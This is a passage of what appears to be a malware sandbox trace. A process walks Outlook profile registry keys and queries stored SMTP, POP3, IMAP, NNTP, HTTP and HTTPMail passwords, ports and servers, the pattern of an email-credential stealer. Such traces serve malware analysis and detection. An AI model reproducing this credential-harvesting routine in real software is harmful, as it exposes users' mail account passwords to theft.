0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.733] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.733] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.733] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.734] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.734] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.734] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.735] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.735] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.735] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.736] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.736] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.736] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.737] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.737] LocalFree (hMem=0x65b170) returned 0x0 [0079.737] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000002", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.737] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 122 [0079.737] lstrlenA (lpString="\\") returned 1 [0079.737] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x66b940 [0079.737] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.737] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.737] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 123 [0079.737] lstrlenA (lpString="00000002") returned 8 [0079.737] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x65b170 [0079.737] lstrcpyA (in: lpString1=0x65b170, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.737] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000002" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002" [0079.737] LocalFree (hMem=0x66b940) returned 0x0 [0079.737] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.737] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.737] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.737] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.737] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.737] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.737] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.737] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.737] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.737] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.737] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.737] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.737] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] 